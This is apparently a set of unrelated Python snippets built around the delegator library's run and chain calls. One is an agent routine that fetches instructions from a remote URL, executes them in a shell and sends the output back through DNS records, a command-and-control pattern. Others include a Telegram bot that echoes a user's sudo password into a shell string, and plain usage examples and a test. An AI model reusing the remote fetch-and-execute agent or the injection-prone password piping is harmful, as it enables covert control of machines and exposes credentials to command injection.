def do_sudo_login(update, context): if not context.args: update.message.reply_text('Usage: /sudo_login password') return password = context.args[0] c = delegator.chain(f'echo "{password}" | sudo -S xxxvvv') out = c.out if 'xxxvvv: command not found' in out: update.message.reply_text(f'sudo successed.') update.message.reply_text(f'sudo failed.')
def run(command): if "|" in command: res = delegator.chain(command) else: res = delegator.run(command) if res.return_code == 127: raise FileNotFoundError(res.err) if res.return_code != 0: raise RuntimeError(res.err) if res.err: sys.stderr.write(res.err) if not res.err.endswith(os.linesep): sys.stderr.write(os.linesep) return res.out.strip()
def execute(self): logging.debug( "ExecProcessTask Execute() for agentid {} with data: {} ".format( self.responder.agentid, self.data['command'])) response_data = "" try: so = "" se = "" se_conv_error = False so_conv_error = False rprocess = delegator.chain(self.data['command']) try: so = rprocess.out except UnicodeDecodeError as ude: so_conv_error = True try: se = rprocess.err except UnicodeDecodeError as ude: se_conv_error = True if so_conv_error: response_data += "Standard Output Conversion Fault" else: response_data += so if se_conv_error: response_data += "Standard Error Conversion Fault" else: if not so_conv_error and not se == so: response_data += se logging.debug("Se: {} ".format(se)) logging.debug("So: {} ".format(so)) logging.debug("eq?: {} ".format(so == se)) except IOError as ioe: response_data += "IOError {}. Check you command syntax".format(ioe) logging.debug("Sending to Responder data: {} ".format(response_data)) self.responder.setData(response_data)
def _action_recv_slave(self, agent_job): # Process instruction metadata # Process type request if agent_job["t"].lower() == "q": self.flogger.debug("Request received") # Fetch instructions from FFSend url job_url = agent_job['u'] self.flogger.debug("Job URL: {0}".format(type(job_url))) if job_url is None: return # TODO: Implement data file download if agent_job["c"].lower() == "f": self.flogger.debug("Request received: data file download") fpath = self.fx_url_to_file(job_url) self.flogger.debug("Data file fetched: {}".format(fpath)) # Update DNS record meta only. Download of content only, no output self.action_send_response("AWAIT", 'o', None, True) if agent_job["c"].lower() == "o": self.flogger.debug("Request received: external command exec()") # Update DNS record meta only. Processing self.flogger.debug("Setting ABUSY flag in record") self.action_send_response("ABUSY", 'o', None, True) fpath = self.fx_url_to_file(job_url, temp=True) self.flogger.debug("Reading from: {}".format(fpath)) with open(fpath, mode="rb") as cf: instructions = cf.read().decode('utf-8') os.remove(fpath) self.flogger.info( "\n==> Request: ({}) <==".format(instructions)) self.flogger.debug( "Instructions requested: \n{0}".format(instructions)) # Run command(s) from file c = delegator.chain(instructions) cout = c.out output = "\n".encode('ascii') + cout.encode('ascii', 'replace') # Update DNS record with results print("<== Response posted ==>\n") self.action_send_response("AWAIT", 'o', output) # TODO: Implement internal agent commands if agent_job["c"].lower() == "m": self.flogger.debug("Request received: internal command") self.flogger.error("NOT IMPLEMENTED") elif agent_job["t"].lower() == "s": self.flogger.debug("Response received. But your Role is Slave.") else: self.flogger.error( "Invalid Instruction: Not a request | response type")
def output(fm, **kwargs) -> str: """Example directive for fetching external output. """ c = chain(kwargs["cmd"]) return c.out.strip()
import subprocess lst = subprocess.run(["ls", "-l"]) print(lst.stdout) import delegator lst2 = delegator.run('ls', "-l") print(lst2.out) c = delegator.run(['curl', 'www.google.com'], block=False) print(c.pid) c.block() print(c.out) print(c.return_code) try: c = delegator.chain('fortune | cowsay') print(c.out) except FileNotFoundError: print("ызе : brew install cowsay / brew install fortune") c = delegator.chain('env | grep NEWENV', env={'NEWENV': 'FOO_BAR'}) print(c.out)
def test_chain(): c = delegator.chain("seq 4 | awk '{ print $0 \" test\"; }'") assert c.out == '1 test\n2 test\n3 test\n4 test\n'